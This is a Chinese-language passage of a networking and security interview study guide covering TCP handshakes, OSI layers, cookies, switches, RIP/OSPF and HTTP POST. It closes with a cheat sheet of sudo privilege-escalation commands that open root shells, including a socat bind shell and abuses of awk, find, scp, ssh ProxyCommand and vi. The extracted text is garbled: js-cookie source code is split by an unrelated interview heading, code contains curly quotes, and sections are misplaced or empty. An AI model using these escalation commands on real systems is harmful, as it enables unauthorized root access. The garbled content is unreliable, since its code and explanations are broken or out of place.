如果在 HTTP 协议通信过程中使用未经加密的明文,比如在 Web 页面中输入信用卡号,如果这条通信线路遭 到窃听,那么信用卡号就暴露了。 另外,对于 HTTP 来说,服务器也好,客户端也好,都是没有办法确认通信方的。因为很有可能并不是和原 本预想的通信方在实际通信。并且还需要考虑到接收到的报文在通信途中已经遭到篡改这一可能性。 为了统一解决上述这些问题,需要在 HTTP 上再加入加密处理和认证等机制。我们把添加了加密及认证机制 的 HTTP 称为 HTTPS ( HTTP Secure )
十、说一下三次握手,四次挥手详细过程#
TCP(Transmission Control Protocol,传输控制协议)是面向连接的协议,也就是说,在收发数据前,必须和对方建立可靠的连接。
一个TCP连接必须要经过三次“对话”才能建立起来,其中的过程非常复杂,只简单的描述下这三次对话的简单过程。简述三次握手过程:#
在开始讲解之前,先来讲几个重要字段的全称,方便记忆:#
seq: ( seq uence number) 序号
ack: ( ack nowledgement number) 确认号
标志位:
SYN :( SYN chronization) 同步
ACK :( ACK nowlegment) 确认
FIN :( FIN ish) 终止先来看个总括图:
第一次握手:Client将同步标志位SYN置为 1 (SYN为 1 就表示要建立连接,连接成功之后该位置会再次被置为 0 ),请求序号seq=x(在所有 的字节排列中,申请从哪一个字节开始发送,这个序号就一般表示当前已经发送到哪个序号,服务器同意后将会从下一个序号开始发送,第 一次握手只有请求序号没有确认号),并将该数据包发送给Server,Client进入SYN_SENT状态,等待Server确认。
第二次握手:Server收到数据包后由同步标志位SYN=1知道Client请求建立连接,确认标志位ACK置为 1 (这会才有确认标志位,第一次握手 并没有确认标志位。当确认标志位为 0 时,确认号不起作用),ack=x+1(确认序号等于请求序号+1,表示x+1之前的Server都收到了,从 Server发送的请求已经收到)。TCP是全双工协议,因此Server有可能也会给Client发送数据,因此Server也会向Client建立连接,Server将 同步标志位SYN置为 1 (Server也要向Client发送请求,因此SYN也要被置为 1 ),seq=y就表示Server给Client发送的数据开始序号。并将该 数据包发送给Client以确认连接请求,Server进入SYN_RCVD状态。
第三次握手:因为连接要是双向的,Server确认后只是Client到Server连通了,因此Client也要确认一下,才能让Server向Client的连接也连 通。Client和Server进入ESTABLISHED状态,完成三次握手,随后Client与Server之间可以开始传输数据了。
设计这样一个相似的情景:#
1 、客户端主机C说:“我可以给你发送数据吗?”#
2 、服务器S说:“可以的,不过我可能也会给你发送数据。”#
3 、C:“好,那我开始互相发送数据吧。”#
简述四次挥手过程:#
所谓四次挥手(Four-Way Wavehand)即终止TCP连接,就是指断开一个TCP连接时,需要客户端和服务端相互总共发送 4 个包以确认
连接的断开。在socket编程中,这一过程由客户端或服务端任一方执行close来触发。由于TCP连接是全双工的,因此,每个方向都必须要单独进行关闭。这一原则是当一方完成数据发送任务后,发送一个FIN来终止这一方向的#
连接,收到一个FIN只是意味着这一方向上没有数据流动了,即不会再收到数据了。但是在这个TCP连接上仍然能够发送数据,直到另一方向#
也发送了FIN。首先进行关闭的一方将执行主动关闭,而另一方则执行被动关闭,上图描述的即是如此。#
第一次挥手:Client发送一个FIN,以及选择号seq=u(表示:u之前的数据已经全部发送,并且数据发到u就可以截止了,就不再有数据 了),用来关闭Client到Server的数据传送。Client进入FIN_WAIT_ 1 状态。
第二次挥手:Server收到FIN后,发送一个请求号seq=v和确认序号ack=u+1给Client。Server进入CLOSE_WAIT状态。 第三次挥手:Server发送一个FIN,请求号为最新的seq=w和确认序号ack=u+1,用来关闭Server到Client的数据传送。Server进入 LAST_ACK状态。
第四次挥手:Client收到FIN后,Client进入TIME_WAIT状态,接着发送一个ACK给Server,确认序号为w+1。Server进入CLOSED状态,完 成四次挥手。
四次挥手的情景大致是这样的:#
1 、客户端主机C说:“我没有数据了,断开连接吧。 ”#
2 、服务器S说:“好,但是我还有数据(不断给C发送数据,此时C已经不能给S发送数据了,但是必须要就收S发来的数据)。”#
3 、(当S给C发完数据后)S说:“我发完了,断开连接吧。”#
4 、C说:“好,断开连接吧。”#
十一、说一下 tcp/ip 七层协议的数据传输,以及各层的工作原理#
一、TCP/IP与OSI#
二、七层参考模型概述#
2.1、物理层#
在OSI参考模型中,物理层(Physical Layer)是参考模型的最低层。物理层的作用是实现相邻计算机节点之间比特流的透明传送,尽
可能屏蔽掉具体传输介质和物理设备的差异。“透明传送比特流”表示经实际电路传送后的比特流没有发生变化,对传送的比特流来说,
这个电路好像是看不见的。2.2、数据链路层
数据链路层(Data Link Layer)是OSI模型的第二层,负责建立和管理节点间的链路。该层的主要功能是:通过各种控制协议,将有差
错的物理信道变为无差错的、能可靠传输数据帧的数据链路。在计算机网络中由于各种干扰的存在,物理链路是不可靠的。因此,这
一层的主要功能是在物理层提供的比特流的基础上,通过差错控制、流量控制方法,使有差错的物理线路变为无差错的数据链路,即
提供可靠的通过物理介质传输数据的方法。数据链路层的具体工作是接收来自物理层的位流形式的数据,并封装成帧,传送到上一
层;同样,也将来自上层的数据帧,拆装为位流形式的数据转发到物理层;并且,还负责处理接收端发回的确认帧的信息,以便提供
可靠的数据传输。2.3、网络层
网络层(Network Layer)是OSI模型的第三层,它是OSI参考模型中最复杂的一层。它在下两层的基础上向资源子网提供服务。其主
要任务是:通过路由选择算法,为报文或分组通过通信子网选择最适当的路径。具体地说,数据链路层的数据在这一层被转换为数据
包,然后通过路径选择、分段组合、顺 序、进/出路由等控制,将信息从一个网络设备传送到另一个网络设备。一般地,数据链路层是
解决同一网络内节点之间的通信,而网络层主要解决不同子网间的通信。例如在广域网之间通信时,必然会遇到路由(即两节点间可
能有多条路径)选择问题。2.4、传输层
传输层(Transport Layer)是OSI模型的第 4 层。因此该层是通信子网和资源子网的接口和桥梁,起到承上启下的作用。该层的主要任
务是:向用户提供可靠的端到端的差错和流量控制,保证报文的正确传输。传输层的作用是向高层屏蔽下层数据通信的细节,即向用
户透明地传送报文。该层常见的协议:TCP/IP中的TCP协议和UDP协议。传输层提供会话层和网络层之间的传输服务,这种服务从会话
层获得数据,并在必要时,对数据进行分割。然后,传输层将数据传递到网络层,并确保数据能正确无误地传送到网络层。因此,传
输层负责提供两节点之间数据的可靠传送,当两节点的联系确定之后,传输层则负责监督工作。综上,传输层的主要功能如下:监控
服务质量。2.5、会话层
会话层(Session Layer)是OSI模型的第 5 层,是用户应用程序和网络之间的接口,主要任务是:向两个实体的表示层提供建立和使用
连接的方法。将不同实体之间的表示层 的连接称为会话。因此会话层的任务就是组织和协调两个会话进程之间的通信,并对数据交换
进行管理。 用户可以按照半双工、单工和全双工的方式建立会话。当建立会话时,用户必须提供他们想要连接的远程地址。而这些地
址与MAC(介质访问控制子层)地址或网络层的逻辑地址不同,它们是为用户专门设计的,更便于用户记忆。2.6表示层
表示层(Presentation Layer)是OSI模型的第六层,它对来自应用层的命令和数据进行解释,对各种语法赋予相应的含义,并按照一
定的格式传送给会话层。其主要功能是“处理用户信息的表示问题,如编码、数据格式转换和加密解密”等。2.7、应用层
应用层(Application Layer)是OSI参考模型的最高层,它是计算机用户,以及各种应用程序和网络之间的接口,其功能是直接向用户
提供服务,完成用户希望在网络上完成的各种工作。它在其他 6 层工作的基础上,负责完成网络中应用程序与网络操作系统之间的联
系,建立与结束使用者之间的联系,并完成网络用户提出的各种网络服务及 应用所需的监督、管理和服务等各种协议。此外,该层还
负责协调各个应用程序间的工作。三、TCP/IP详情图#
十二、OSI 七层模型有哪七层?arp 协议、ICMP 协议工作在哪一层?#
1 OSI的七层模型分布#
2 OSI每层模型的作用#
2.1物理层#
物理层用于建立维护断开物理连接,主要是网线,中继器,调制解调器等。#
OSI模型总共有七层,分别是物理层,数据链路层,网络层,传输层,会话层,表示层以及应用层。2.2数据链路层#
数据链路层的主要功能就是合成数据块,封装成帧 与其他计算机进行通信的APP应用程序,支持APP应用程序的通信服务,同时通过端口与#
端口之间连接,进行物理寻址。寻找MAC地址。数据链路层主要设备是交换机。#
2.3网络层#
2.4传输层#
2.5会话层#
2.6表示层#
2.7应用层#
3 TCPIP协议组成#
4 数据封装过程#
网络层是[OSI参考模型](https://baike.baidu.com/item/OSI%E5%8F%82%E8%80%83%E6%A8%A1%E5%9E%8B "OSI参考模型")中的第三
层,介于[传输层](https://baike.baidu.com/item/%E4%BC%A0%E8%BE%93%E5%B1%82/4329536 "传输层")和[数据链路层]
(https://baike.baidu.com/item/%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/4329290 "数据链路层")之间,它在数据链路
层提供的两个相邻端点之间的数据帧的传送功能上,进一步管理网络中的[数据通信]
(https://baike.baidu.com/item/%E6%95%B0%E6%8D%AE%E9%80%9A%E4%BF%A1/897073 "数据通信"),将数据设法从源端经过若干个中间
[节点](https://baike.baidu.com/item/%E8%8A%82%E7%82%B9/865052 "节点")传送到目的端,从而向传输层提供最基本的端到端的[数据
传送](https://baike.baidu.com/item/%E6%95%B0%E6%8D%AE%E4%BC%A0%E9%80%81/500685 "数据传送")服务,网络层进行逻辑地址寻
址,实现在不同网络的选择。主要的设备是路由器。传输层位于网络层与会话层之间,传输层在终端用户之间提供透明的数据传输,向上层提供可靠的数据传输服务。传输层在给定的链路上通过流量控
制、分段/重组和差错控制来保证数据传输的可靠性。里面有TCP协议,保证传输的稳定安全,UDP协议,保证传输的速度。主要的设备是防火墙。位于传输层与表示层之间,主要的功能是对话管理,数据流同步和重新同步。主要的工具像QQ,微信。位于会话层与应用层之间,表示层向上对应用层服务,向下接受来自会话层的服务。表示层为在应用过程之间传送的信息提供表示方法的服务,它只
关心信息发出的语法和语义。应用层其功能为“处理”,即通过云计算平台进行信息处理。应用层与最低端的感知层一起,是物联网的显著特征和核心所在,应用层可以对感知层采集
数据进行计算、处理和知识挖掘,从而实现对物理世界的实时控制、精确管理和科学决策。封装(L7-L1向下封装)#
上层数据 应用层#
翻译、压缩 表示层#
建立会话 会话层#
定义传输工规则(TCP):上层数据封装协议 传输层#
封装IP头部(PC1-IP、PC2-IP) 网络层#
封装MAC头部(PC1-M、PC2-M) 数据链路层#
二进制数据、物理传输 物理#
5 数据解封装过程#
6 设备与层之间的关系#
7 各层之间的通信#
十三、为什么 ssh ssl 没有使用 cookie 而 http 使用 cookie ,http 是无状态的#
一、理解HTTP无状态#
1.1、理解http无状态
http无状态是指协议对于用户身份、用户状态、用户权限、交互场景等没有记忆能力。简单讲就是不能识别用户。
1.2、http无状态的优点:
可以更快地处理大量的事务,确保协议的可伸缩性,减少服务器的 CPU 及内存资源的消耗。
1.3、因为http无状态所以引出本文内容Cookie。
1.4、Cookie往往存储Token等用来记录客户端用户信息,本文仅介绍Cookie相关。
二、理解Cookie:
2.1、Cookie 以名/值对形式存储,举例:
username=snowball2.2、cookie 存储在客户端。cookie有大小限制,大小一般是4k,超过这个限制,cookie中无法存储该数据。
2.3、cookie数据是指某些网站为了辨别用户身份或实现业务能力,储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂 时或永久保存的信息。
2.4、截图
三、Cookie属性:
3.1、Name/Value:设置Cookie的名称及相对应的值。
3.2、Expires属性:设置Cookie的生存期。 有两种存储类型的Cookie:会话性与持久性。 Expires属性缺省时,为 会话性Cookie,仅保存在客户端内存中 ,并在用户关闭浏览器时失效; 持久性Cookie会保存在用户的硬盘中 ,直至生存期到或用户直接在网页中单击“注销”等按钮结束会话时才会失效 。
3.3、Path属性:定义了Web站点上可以访问该Cookie的目录。
3.4、Domain属性:指定了可以访问该 Cookie 的 Web 站点或域。Cookie 机制并未遵循严格的同源策略,允许一个子域可以设置或获取其 父域的 Cookie。当需要实现单点登录方案时,Cookie 的上述特性非常有用,然而也增加了 Cookie受攻击的危险,比如攻击者可以借此发动 会话定置攻击。因而,浏览器禁止在Domain属性中设置.org、.com 等通用顶级域名、以及在国家及地区顶级域下注册的二级域名,以减小 攻击发生的范围。
3.5、Secure属性:指定是否使用HTTPS安全协议发送Cookie。使用HTTPS安全协议,可以保护Cookie在浏览器和Web服务器间的传输过程 中不被窃取和篡改。该方法也可用于Web站点的身份鉴别,即在HTTPS的连接建立阶段,浏览器会检查Web网站的SSL证书的有效性。但是 基于兼容性的原因(比如有些网站使用自签署的证书)在检测到SSL证书无效时,浏览器并不会立即终止用户的连接请求,而是显示安全风 险信息,用户仍可以选择继续访问该站点。由于许多用户缺乏安全意识,因而仍可能连接到Pharming攻击所伪造的网站。
3.6、HTTPOnly 属性 :用于防止客户端脚本通过document.cookie属性访问Cookie,有助于保护Cookie不被跨站脚本攻击窃取或篡改。但 是,HTTPOnly的应用仍存在局限性,一些浏览器可以阻止客户端脚本对Cookie的读操作,但允许写操作;此外大多数浏览器仍允许通过 XMLHTTP对象读取HTTP响应中的Set-Cookie头。
四、cookie基础用法:
4.1、创建cookie
document.cookie = "username=snowball"4.2、读取cookie
document.cookie注意:设置了 HttpOnly 标志的 Cookie 无法访问
4.3、修改cookie
document.cookie = "username=snowwin"4.4、删除cookie
document.cookie = "username="4.5、创建方法,设置cookie
function setCookie(cname,cvalue,exdays)
{
var d = new Date();
d.setTime(d.getTime()+(exdays*24*60*60*1000));
var expires = "expires="+d.toGMTString();
document.cookie = cname + "=" + cvalue + "; " + expires;
}4.6、使用方法,获取cookie
4.7、设置secure字段
标记为 secure 的 Cookie 只应通过被 Https 协议加密过的请求发送给服务端。(通过 https 创建的 Cookie 只能通过 Https 请求将 Cookie 携带到服务器,通过 http 无法拿到 Cookie)
document.cookie = 'testname=snowball;Secure=true'五、过程记录#
5.1、根据同源策略,cookie是区分端口的。 但是浏览器实现来说,“cookie区分域,而不区分端口。 也就是说,同一个ip下的多个端口下的cookie是共享的! 也就是本地开发及服务端部署后同域下cookie是没有跨域问题的! 也就是根据这个原理可以实现前端微服务(微前端开发)!
cookies 不同端口 是可以共享的 - 走看看
六、js-cookie源码学习:
function getCookie(cname)
{
var name = cname + "=";
var ca = document.cookie.split(';');
for(var i=0; i<ca.length; i++)
{
var c = ca[i].trim();
if (c.indexOf(name)==0) return c.substring(name.length,c.length);
}
return "";
}/*!
* JavaScript Cookie v2.2.1
* https://github.com/js-cookie/js-cookie
*
* Copyright 2006, 2015 Klaus Hartl & Fagner Brack
* Released under the MIT license
*/
;(function (factory) {
var registeredInModuleLoader;
if (typeof define === 'function' && define.amd) {
define(factory);
registeredInModuleLoader = true;} if (typeof exports === ‘object’) { module.exports = factory(); registeredInModuleLoader = true; } if (!registeredInModuleLoader) { var OldCookies = window.Cookies; var api = window.Cookies = factory(); api.noConflict = function () { window.Cookies = OldCookies; return api; }; } }(function () { function extend () { var i = 0; var result = {}; for (; i < arguments.length; i++) { var attributes = arguments[ i ]; for (var key in attributes) { result[key] = attributes[key]; } } return result; }
function decode (s) { return s.replace(/(%[0-9A-Z]{2})+/g, decodeURIComponent); }
function init (converter) { function api() {}
function set (key, value, attributes) { if (typeof document === ‘undefined’) { return; }
attributes = extend({ path: ‘/’ }, api.defaults, attributes);
if (typeof attributes.expires === ’number’) { attributes.expires = new Date(new Date() * 1 + attributes.expires * 864e+5); }
// We’re using “expires” because “max-age” is not supported by IE attributes.expires = attributes.expires? attributes.expires.toUTCString() : ‘’;
try { var result = JSON.stringify(value); if (/^[{[]/.test(result)) { value = result; } } catch (e) {}
value = converter.write? converter.write(value, key) : encodeURIComponent(String(value)) .replace(/%(23|24|26|2B|3A|3C|3E|3D|2F|3F|40|5B|5D|5E|60|7B|7D|7C)/g, decodeURIComponent);
key = encodeURIComponent(String(key)) .replace(/%(23|24|26|2B|5E|60|7C)/g, decodeURIComponent) .replace(/[()]/g, escape);
var stringifiedAttributes = ‘’; for (var attributeName in attributes) { if (!attributes[attributeName]) { continue; } stringifiedAttributes += ‘; ’ + attributeName; if (attributes[attributeName] === true) { continue; }
// Considers RFC 6265 section 5.2: // … // 3. If the remaining unparsed-attributes contains a %x3B (”;") // character: // Consume the characters of the unparsed-attributes up to, // not including, the first %x3B (";") character. // … stringifiedAttributes += ‘=’ + attributes[attributeName].split(’;’)[0];
七、相关内容:#
Cookie、session Storage、local Storage、indexedDb
十四、说一下二层交换机和三层交换机的区别?问二层交换机和三层互联有什么#
区别? 配置交换机使用的是什么?#
}return (document.cookie = key + '=' + value + stringifiedAttributes);
}function get (key, json) {
if (typeof document === 'undefined') {
return;
}var jar = {};
// To prevent the for loop in the first place assign an empty array
// in case there are no cookies at all.
var cookies = document.cookie? document.cookie.split('; ') : [];
var i = 0;for (; i < cookies.length; i++) {
var parts = cookies[i].split('=');
var cookie = parts.slice(1).join('=');if (!json && cookie.charAt(0) === '"') {
cookie = cookie.slice(1, -1);
}try {
var name = decode(parts[0]);
cookie = (converter.read || converter)(cookie, name) ||
decode(cookie);if (json) {
try {
cookie = JSON.parse(cookie);
} catch (e) {}
}jar[name] = cookie;if (key === name) {
break;
}
} catch (e) {}
}return key? jar[key] : jar;
}api.set = set;
api.get = function (key) {
return get(key, false /* read as raw */);
};
api.getJSON = function (key) {
return get(key, true /* read as json */);
};
api.remove = function (key, attributes) {
set(key, '', extend(attributes, {
expires: -1
}));
};api.defaults = {};api.withConverter = init;return api;
}return init(function () {});
}));二层和三层交换机之间的区别#
二层和三层交换机之间的主要区别在于是否拥有路由功能。二层交换机属数据链路层设备,可以识别数据包中的MAC地址信息,根据MAC地#
址进行转发,并将这些MAC地址与对应的端口记录在自己内部的一个地址表中。而三层交换机就是具有部分路由器功能的交换机,工作在#
OSI网络标准模型的三层:网络层,目的是加快大型局域网内部的数据交换,所具有的路由功能也是为这目的服务的,能够做到一次路由,#
多次转发。此外,三层交换机可以执行静态路由和动态路由。这意味着三层交换机同时具有MAC地址表和IP路由表,并且还处理VLAN内通#
信以及不同VLAN之间的数据包路由。仅添加静态路由的交换机称为弱三层交换机。除路由数据包外,三层交换机还包括一些功能,这些功能#
需要能够理解进入交换机的数据的IP地址信息,例如基于IP地址标记VLAN流量,而不是手动配置端口。三层交换机的功率和安全性得到了提#
高。#
当您在纠结是选择二层或者三层交换机时,需要考虑的是您的网络需求。如果您的网络是纯二层网络,则二层交换机即可满足您的需求。在#
网络结构中,这通常称为访问层。如果您需要交换机聚合来访问多个交换机并进行VLAN间路由,则需要三层交换机。这在网络拓扑中称为分#
布层。#
图 2 :什么时候使用二层,三层交换机和路由器?#
二层交换机和三层互联是网络中两种不同的设备。二层交换机是一种数据链路层设备,用于在局域网内转发数据包。它通过MAC地址表来学#
习和记忆不同设备的MAC地址,并根据目标MAC地址将数据包转发到相应的端口上。#
而三层互联是一种网络层设备,用于在不同的网络之间进行路由和转发数据包。它可以根据目标IP地址来选择最优路径进行数据包的转发。#
三层互联还可以支持不同的协议,如IP、IPX、AppleTalk等。 因此,二层交换机和三层互联的主要区别在于它们所处的网络层级不同。二层交换机只能在局域网内进行数据包转发,而三层互联可以在不 同的网络之间进行数据包路由和转发。
首先,用线缆将一台PC和一台交换机连接起来。
交换机设置电脑图解 1#
接着,打开PC,规范好PC的网络配置,如下图所示,注意,要记住PC的网关就是交换机的IP地址。#
设置交换机电脑图解 2#
下一步,进入交换机的中端里面进行配置。#
交换机设置电脑图解 3#
然后先给交换机起一个名字,命令是:#
Switch#conf tEnter configuration commands, one per line. End with CNTL/Z.Switch(config)#hostname s1s1(config)#
交换机电脑图解 4#
接着在小型或中型甚至大型企业,不可能只有一台交换机连接一台电脑,这很浪费,如下图所示就是交换机的端口。#
设置交换机电脑图解 5#
最后,如下图画圆圈所示交换机还可以创建wlan模式。
交换机设置电脑图解 6#
十五、二层交换机和三层交换机分别有哪些协议?说一下 RIP 和 OSPF 建立邻#
居关系过程#
二层协议#
二层协议也称为数据链路层协议,常见的包括:#
以太网协议(Ethernet Protocol):以太网是一种广泛应用的局域网(LAN)技术,它定义了如何在物理层和数据链路层传输数据。
令牌环协议(Token Ring Protocol):令牌环是另一种局域网技术,它使用令牌传递机制控制访问网络,防止冲突和碰撞。
基于MAC地址的交换机协议(MAC-Based Switching Protocol):根据MAC地址进行交换的协议,可以提高数据包转发的效率。三层协议#
三层协议也称为网络层协议,常见的包括:#
IP协议(Internet Protocol):IP是因特网上数据通信的基础协议,用于将数据包从源地址传输到目标地址。
ARP协议(Address Resolution Protocol):ARP协议用于解析MAC地址和IP地址之间的映射关系,以便将数据包正确地发送到目标设
备。
ICMP协议(Internet Control Message Protocol):ICMP协议用于网络错误检测和诊断,例如ping命令就是使用ICMP协议实现的。
OSPF协议(Open Shortest Path First):OSPF是一种路由选择协议,用于在多条可用路径中选择最短的路径进行数据包的传输。1. RIP#
RIP(Routing lnformationProtocol)路由信息协议是一种动态路由选择协议,它是基于距离矢量算法,使用“跳数"(最大15)来衡量到达目标 地址的路由距离。
RIP特性 带来的问题#
逐跳收敛 收敛慢,故障恢复时间长#
传闻路由更新机制 缺少对全局网络拓扑的了解#
最多有效跳数为 15 环形组网中,使远端路由不可达#
以“跳数”为度量 存在选择次优路径的风险#
当静态路由无法解决一下问题时:#
(1)当网络拓扑结构和链路状态发生变化,需要对路由器的静态路由信息进行大范围修改,工作复杂度高;#
(2)网络发生故障时,不能重选路由,很可能使路由失败。#
于是出现动态路由协议,路由器自动学习,自适应网络的变化,无需人工更改配置。#
RIP的适用范围:#
“rip适用于中小型网络,因为rip是基于距离矢量的算法(D-V算法)。由于其只能支持O-15跳,第十六跳会被标记成无限大或不可达。所以在整个 网络中,只能有 16 个路由器相互成为rip邻居路由器,所以基于以上原理,rip只能应用于中小型网络。
工作原理:
周期性发送路由信息,传递路由,周期时间默认为30s;消息数据包: request(请求),response(响应)
·路由器向邻居节点宣告自己的路由 ·网络中的路由器从自己的邻居路由器得到路由信息,并将这些路由信息连同自己的本地路由信息发送给其他邻居 ·这样一级级的传递下去以达到全网同步。 ·每个路由器都不了解整个网络拓扑,它们只知道与自己直接相连的网络情况,并根据从邻居得到的路由信息更新自己的路由。
消息数据发送目标地址:RIPV1 (255.255.255.255),RIPV2 (224.0.0.9) RIP协议默认优先机值:100(可以修改) RIP协议cost开销值:默认值为 0 ,路由信息每传递一次,值增加 1 ,最大15,16代表不可达。
2. OSPF#
OSPF ( Open Shortest PathFirst开放式最短路径优先)是一种基于链路状态的动态路由协议。通过划区域对网络进行管理,分为骨干区域( area 0 )和非骨干区域。
1.OSPF网络中必须存在并且唯一的骨干区域(area 0)(单区域可以不为area 0 ) 2..若存在非骨干区域,非骨干区域必须与骨干区域直接相连
RIP的问题 优化或解决的方式#
收敛慢,故障恢复时间长#
缺少对全局网络拓扑的了解 路由器基于拓扑信息,独立计算路由#
最多有效跳数为 15 不限定跳数#
存在选择次优路径的风险 将链路带宽作为选路参考值#
Type 报文名称 报文功能1 Hello 发现和维护邻居关系2 Database Description 发送链路状态数据库摘要3 Link State Request 请求特定的链路状态信息4 Link State Update 发送详细的链路状态信息5 Link State Ack 发送确认报文“收到更新->计算路由->发送更新”改为#
“收到更新->发送更新->计算路由”#
工作原理#
第一步:建立邻居 第二步:同步链路状态数据库 第三步:计算路由 第四步:生成路由表#
OSPF的五类报文:#
OSPF的七种状态:#
(1)Down State:邻居的初始状态,表示没有从邻居受到任何信息
(2) Init State:路由设备收到了Hello报文,但是自己的Router ID不在所收到的Hello报文的邻居列表中,表示尚未与邻居建立双向通信关系。
(3)Two-way State:设备收到了一个Hello包,且Hello包中包括了自己的router-id,表示此时双方可以进行通信。
(4)Exstart State: First DBD确认主从关系,router-id大的为主,先发包
(5)Exchange State:交互DBD相互学习
(6)Loading State: LSR与LSU的交互过程.
(7)Full State:所有交互已经完成
建立邻接
DR选举#
在OSPF系统启动后,若40s内没有新设备接入就会开始选举,当DR失效或故障时,BDR会变成DR,重新选BDR。所有DR,BDR,DRothers 说的都是接口,而不是设备,不同网段间选DR,BDR,而不是以OSPF区域为单位。 DR与BDR的选举规则: (1 )比较优先级∶最高优先级值的路由器被选为DR(默认优先级相同∶ 1 ),次高优先级的为BD( 2)比较router-id :当优先级相同时,拥有最高 router-id的成为DR,次高的成为BDR
1 2 3 4 5 6 7 8#
POST /web/login.html HTTP/1.1
User-Agent: MyBrowser
Host: 127.0.0.1: 8080
Proxy-Connection: Keep-Alive
Content-Length: 49
Content-Type: application/x-www-form-urlencodedusername=username&password=password&type= 1 &type= 2十六、Ospf 协议是干什么的? dhcp 协议是干什么的?地址转换协议有了解#
吗?说一下 Arp 协议#
OSPF(Open Shortest Path First)协议是基于链路状态的路由协议,与基于距离矢量的路由协议相比具有更快的收敛速度,支撑的网络规 模也更大。是目前使用最广泛的路由协议。 OSPF(Open Shortest Path First,开放最短路径优先)是由三张表,五个包,六个网络,七个状态机所组成。
DHCP(动态主机配置协议):是一个应用层的网络协议。指的是由服务器控制一段IP地址范围,客户机登录服务器时就可以自动获得服务器分#
配的IP地址和子网掩码。当我们将客户主机ip地址设置为动态获取方式时,DHCP服务器就会根据DHCP协议给客户端分配IP,使得客户机能 够利用这个IP上网。
DHCP前身是BOOTP,在Linux的网卡配置中也能看到显示的是BOOTP,DHCP引进一个bootp没有的概念:租约。bootp分配的地址
是永久的而dhcp分配的地址是可以有期限的DHCP分为二个部分:一个服务器端,另一个是客户端(通常为网络中的PC、打印机等终端设备)。
NAT (Network Address Translation,网络地址转换) 是 1994 年提出的。当在专用网内部的一些主机本来已经分配到了本地IP地址
(即仅在本专用网内使用的专用地址),但又想和因特网上的主机通信(并不需要加密)时,可使用NAT方法。
这种方法需要在专用网(私网IP)连接到因特网(公网IP)的路由器上安装NAT软件。装有NAT软件的路由器叫做NAT路由器,它至少
有一个有效的外部全球IP地址(公网IP地址)。这样,所有使用本地地址(私网IP地址)的主机在和外界通信时,都要在NAT路由器上
将其本地地址转换成全球IP地址,才能和因特网连接。另外,这种通过使用少量的全球IP地址(公网IP地址)代表较多的私有IP地址的方式,将有助于减缓可用的IP地址空间的枯竭。在RFC
2663 中有对NAT的说明。ARP:地址解析协议(Address Resolution Protocol)
十七、说一下 https 构建连接后,传输 post 数据的过程#
摘要:#
HTTP(HyperText Transfer Protocol),超文本传输协议,是一个客户端和服务器端请求和应答的标准(TCP),客户端是终端用户,服务 器端是网站。
HTTP是基于Socket之上的协议。HTTP POST是上传数据到服务器。
调用地址: http://127.0.0.1:8080/login.html
请求报文:
POST : post请求
/web/login.html : 站点路径
HTTP/1.1 : 协议及版本
Content-Length: 请求内容长度。
Content-Type: 请求内容类型,这里为application/x-www-form-urlencoded:标准的编码格式,数据被编码为名称/值对。
username=username&password=password&type=1&type=2: 请求的内容,按Content-Type编码。
响应报文:
基本功能:知道目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。
它是IPv4中网络层必不可少的协议,不过在IPv6中已不再适用,并被邻居发现协议(NDP)所替代。1 2 3 4 5 6 7 8 9#
10#
11#
12#
13#
14#
15#
16#
17#
18#
19#
20#
21#
22#
HTTP/1.1 200 OK#
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=BAAE42AF1B4F2D3540D6EC8490A5FB9F; Path=/web
Content-Type: text/html;charset=UTF- 8
Content-Length: 314
Date: Thu, 05 Feb 2015 07 : 39 : 09 GMT#
\<html\>
\<head\>
<base href="http://127.0.0.1:8080/web/">
\<title\>登录</title>
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="expires" content="0">
</head>
\<body\>
\<h1\>HelloWorld!!!</h1>
</body>
</html>HTTP/1.1 : 协议及版本
200 : 响应状态码
Server: 服务器类型
Set-Cookie: 浏览器Cookie
Content-Type: 响应内容类型
Content-Length: 响应内容长度
Date: 响应时间
十八、说一下 LINUX 提权,脏牛提权,sudo 滥用,suid 提权动态路由怎么配#
置?#
一.sudo 提权
sodu 全称 Substitute User and Do,用来临时赋予 root 权限运行某个程序。
sodu 的执行原理:
普通用户执行命令时,首先检查/var/run/sudo/目录下是否有用户时间戳,centos 检查/var/db/sudo/目录,并检查是否过期。如果时间戳 过期,就需要输入当前用户的密码。输入后检查/etc/sudoers 配置文件,查看用户是否有 sudo 权限,如果有执行 sudo 命令并返回结果, 然后退出 sudo 返回到普通用户的 shell 环境。
而在/etc/sudoers 中设置可执行 sudo 指令的用户。默认只有root。
sudo ash
sudo bash
sudo /bin/bash
sudo dash
sudo csh
sudo sh
sudo zsh
退出命令为exit
2 、socat 提权:
第二个方法的话我们需要打开两个窗口
在服务端建立一个端口 1234 的 shell
sudo socat tcp-listen:1234,reuseaddr,fork exec:sh,pty,stderr,setsid,sigint,sane
连接,在本地机器启动本地的 1234 端口 LISTEN:#
socat FILE:tty,raw,echo=0 TCP:127.0.0.1:1234
我们看到已经提权成功#
3 、awk 提权:
sudo awk ‘BEGIN {system("/bin/sh")}’
sudo awk ‘BEGIN {system("/bin/bash")}’
sudo awk ‘BEGIN {system("/bin/zsh")}’
4 、ed 提权:
ed 命令用于启动 ed 文本编辑器,使用 ed 命令访问空缓冲区来调用 bash/sh shell 造成提权。
sudo ed
!sh
q 退出
5 、find 命令提权:
sudo find. -exec /bin/sh ; -quit
6 、env 环境变量提权:
有些应用程序使用了 system 等函数调用了系统命令,但是没有使用绝对路径而是使用 env 命令从环境变量中进行查找,这就可能通过修改 环境变量来进行权限提升
sudo sh -c ‘cp $(which env) .; chmod +s ./env’
./env /bin/sh -p
7 、less、more、man 提权:
sudo less /etc/passwd
!/bin/sh
sudo more /etc/passwd
!/bin/sh
Sudo man man
!/bin/sh
9 )scp 提权:
TF=$(mktemp)
echo ‘sh 0<&2 1>&2’ > $TF
chmod +x “$TF”
sudo scp -S $TF x y:
10 、 ssh 提权:
sudo ssh -o ProxyCommand=’;sh 0<&2 1>&2’ x
11 、vi 提权:
sudo vi -c ‘:!/bin/sh’ /dev/null
sudo vi b.txt
!/bin/sh
12 )pico 提权:
sudo pico
^R^X
reset; sh 1>&0 2>&0
这个操作方法:在键盘上按住 ctrl+r 和 ctrl+x 然后执行下面的命令,执行完成之后再次按住
